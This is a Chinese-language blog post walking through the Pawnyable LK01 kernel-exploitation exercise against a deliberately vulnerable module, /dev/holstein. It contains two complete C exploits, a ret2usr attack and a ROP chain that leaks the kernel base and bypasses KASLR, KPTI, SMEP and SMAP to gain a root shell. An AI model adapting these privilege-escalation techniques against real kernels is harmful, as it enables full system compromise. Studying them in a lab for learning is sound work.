前言 笔者最近在学习Linux kernel的知识,意外发现了Pawnyable这个很不错的项目,原项目链接 ,笔者在此整理自己学习并复现本项目的过程以及相关的思考。 Pwanyable项目共有10个专题,分别介绍10种不同的内核漏洞及其利用方法,原作者为每个专题都提供了对应的带有漏洞的附件来供学习。
漏洞虚拟机环境
专题
LK01: Holstein v1
栈溢出
LK01-2: Holstein v2
堆溢出
LK01-3: Holstein v3
UAF
LK01-4: Holstein v4
竞态条件
LK02: Angus
NULL Pointer Dereference
LK03: Dexter
Double Fetch
LK04: Fleckvieh
滥用userfaultfd
LK04: Fleckvieh
滥用FUSE
LK05: Highland
作者尚未发布
LK06: Brahman
eBPF相关漏洞利用
本篇博客为第一个专题。对应内核栈溢出的漏洞专题。因为是第一个专题,笔者这里将基础的内核pwn漏洞模块调试方法以及拿到附件后都要做些什么工作来分析都简单介绍下。 Pawnyable项目的每个专题附件包括qemu和src两个文件夹,其中qemu文件夹为调试文件夹,相当于CTF比赛分发给选手的文件,src文件夹为漏洞模块的源码,包括下面三个文件:Makefile vuln.c vuln.ko,为内核加载的带有漏洞的ko模块的源码及其编译产物。
题目分析 原始题目所有保护均没有开。 直接拖出vuln.ko逆向一下看看 注册设备/dev/holstein open函数初始化一个1024大小的堆块 read函数将g_buf中内容的前128字节复制到栈数组中,并通过copy_to_user写入用户空间内存,这里复制到用户空间内存的size为用户自定义的,存在内核栈上的越界读取 write函数将用户空间内存数据写入内核栈,size同样由用户传入,存在内核栈溢出漏洞。
攻击思路 根据逆向分析,我们有内核栈上的越界读漏洞可以泄露信息,有内核栈溢出漏洞可以打rop,而且此程序所有保护都没开,可以直接打ret2usr 攻击脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 # include </home/keyboard/ctf/tricks/kernelpwn.h> #define SUCCESS_MSG(msg) "\033[32m\033[1m" msg "\033[0m" #define INFO_MSG(msg) "\033[34m\033[1m" msg "\033[0m" #define ERROR_MSG(msg) "\033[31m\033[1m" msg "\033[0m" #define log_success(msg) puts(SUCCESS_MSG(msg)) #define log_info(msg) puts(INFO_MSG(msg)) #define log_error(msg) puts(ERROR_MSG(msg)) size_t prepare_kernel_cred,commit_creds;void get_kallsyms_addr () { FILE* sym_table_fd = fopen("/proc/kallsyms" , "r" ); if (sym_table_fd < 0 ) { printf ("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n" ); exit (-1 ); } char buf[0x50 ], type[0x10 ]; size_t addr; while (fscanf (sym_table_fd, "%llx%s%s" , &addr, type, buf)) { if (prepare_kernel_cred && commit_creds) break ; if (!commit_creds && !strcmp (buf, "commit_creds" )) { commit_creds = addr; printf ("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n" , commit_creds); continue ; } if (!strcmp (buf, "prepare_kernel_cred" )) { prepare_kernel_cred = addr; printf ("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n" , prepare_kernel_cred); continue ; } } }void ret2usr_func (void ) { size_t prepare_kernel_cred = 0xffffffff8106e240 ; size_t commit_creds = 0xffffffff8106e390 ; get_root_privilige(prepare_kernel_cred,commit_creds); }void exploitation (void ) { int fd; size_t swapgs_ret = 0xffffffff8160bf7e , popfq_ret=0xffffffff81022751 ,iretq_pop_rbp=0xffffffff810202af ; bind_core(0 ); save_status(); fd = open("/dev/holstein" , O_RDWR); if (fd < 0 ) { log_error("[x] Failed to open the /proc/core !" ); exit (EXIT_FAILURE); } log_info("Trigger the stack overflow\n" ); size_t rop[0x100 ]; uint8_t idx=128 ; rop[idx++] = 0 ; rop[idx++] = ret2usr_func; rop[idx++] = swapgs_ret; rop[idx++] = iretq_pop_rbp; rop[idx++] = get_root_shell; rop[idx++] = user_cs; rop[idx++] = user_rflags; rop[idx++] = user_sp+8 ; rop[idx++] = user_ss; write(fd,rop,0x500 ); }int main (int argc, char ** argv) { exploitation(); return 0 ; }
我们这里所有要用的地址都是已知的,所以只利用了栈溢出就打通了,接下来我们把内核保护都加上
+kaslr+kpti+smep+smap 修改qemu启动脚本添加保护
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #!/bin/sh qemu-system-x86_64 \ -m 64M \ -nographic \ -kernel bzImage \ -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti kaslr" \ -no-reboot \ -cpu kvm64,+smep,+smap\ -smp 1 \ -monitor /dev/null \ -initrd rootfs.cpio \ -net nic,model=virtio \ -net user \ -s
绕过思路:
绕过kaslr:借助越界读漏洞泄露内核函数地址,反推内核基址
绕过kpti:借助swapgs_restore_regs_and_return_to_usermode gadget
绕过smep、smap:ret2usr失效,改为完全在内核栈上打KROP
最终在内核保护全开下完成利用,完整攻击脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 # include </home/keyboard/ctf/tricks/kernelpwn.h> #define SUCCESS_MSG(msg) "\033[32m\033[1m" msg "\033[0m" #define INFO_MSG(msg) "\033[34m\033[1m" msg "\033[0m" #define ERROR_MSG(msg) "\033[31m\033[1m" msg "\033[0m" #define log_success(msg) puts(SUCCESS_MSG(msg)) #define log_info(msg) puts(INFO_MSG(msg)) #define log_error(msg) puts(ERROR_MSG(msg)) size_t prepare_kernel_cred,commit_creds;void get_kallsyms_addr () { FILE* sym_table_fd = fopen("/proc/kallsyms" , "r" ); if (sym_table_fd < 0 ) { printf ("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n" ); exit (-1 ); } char buf[0x50 ], type[0x10 ]; size_t addr; while (fscanf (sym_table_fd, "%llx%s%s" , &addr, type, buf)) { if (prepare_kernel_cred && commit_creds) break ; if (!commit_creds && !strcmp (buf, "commit_creds" )) { commit_creds = addr; printf ("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n" , commit_creds); continue ; } if (!strcmp (buf, "prepare_kernel_cred" )) { prepare_kernel_cred = addr; printf ("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n" , prepare_kernel_cred); continue ; } } }void exploitation (void ) { int fd; size_t buf[0x100 ]; bind_core(0 ); save_status(); fd = open("/dev/holstein" , O_RDWR); if (fd < 0 ) { log_error("[x] Failed to open the /proc/core !" ); exit (EXIT_FAILURE); } read(fd,buf,0x500 ); kernel_base= buf[129 ]-0x13d33c ; kernel_offset = kernel_base-0xffffffff81000000 ; printf ("kernel base is %p\n" ,buf[129 ]-0x13d33c ); printf ("kernel offset is %p\n" ,kernel_offset); size_t swapgs_restore_regs_and_return_to_usermode=kernel_offset+0xffffffff81800e10 +0x16 ; size_t pop_rdi=kernel_offset+0xffffffff8127bbdc ; size_t mov_rdi_rax = kernel_offset+0xffffffff8160c96b ; size_t pop_rcx=kernel_offset+0xffffffff812ac83f ; size_t prepare_kernel_cred =kernel_offset+ 0xffffffff8106e240 ; size_t commit_creds =kernel_offset+ 0xffffffff8106e390 ; log_info("Trigger the stack overflow\n" ); size_t rop[0x100 ]; uint8_t idx=128 ; rop[idx++] = 0 ; rop[idx++] = pop_rdi; rop[idx++] = 0 ; rop[idx++] = prepare_kernel_cred; rop[idx++] = pop_rcx; rop[idx++] = 0 ; rop[idx++] = mov_rdi_rax; rop[idx++] = commit_creds; rop[idx++] = swapgs_restore_regs_and_return_to_usermode; rop[idx++] = 0 ; rop[idx++] = 0 ; rop[idx++] = get_root_shell; rop[idx++] = user_cs; rop[idx++] = user_rflags; rop[idx++] = user_sp+8 ; rop[idx++] = user_ss; write(fd,rop,0x500 ); }int main (int argc, char ** argv) { exploitation(); return 0 ; }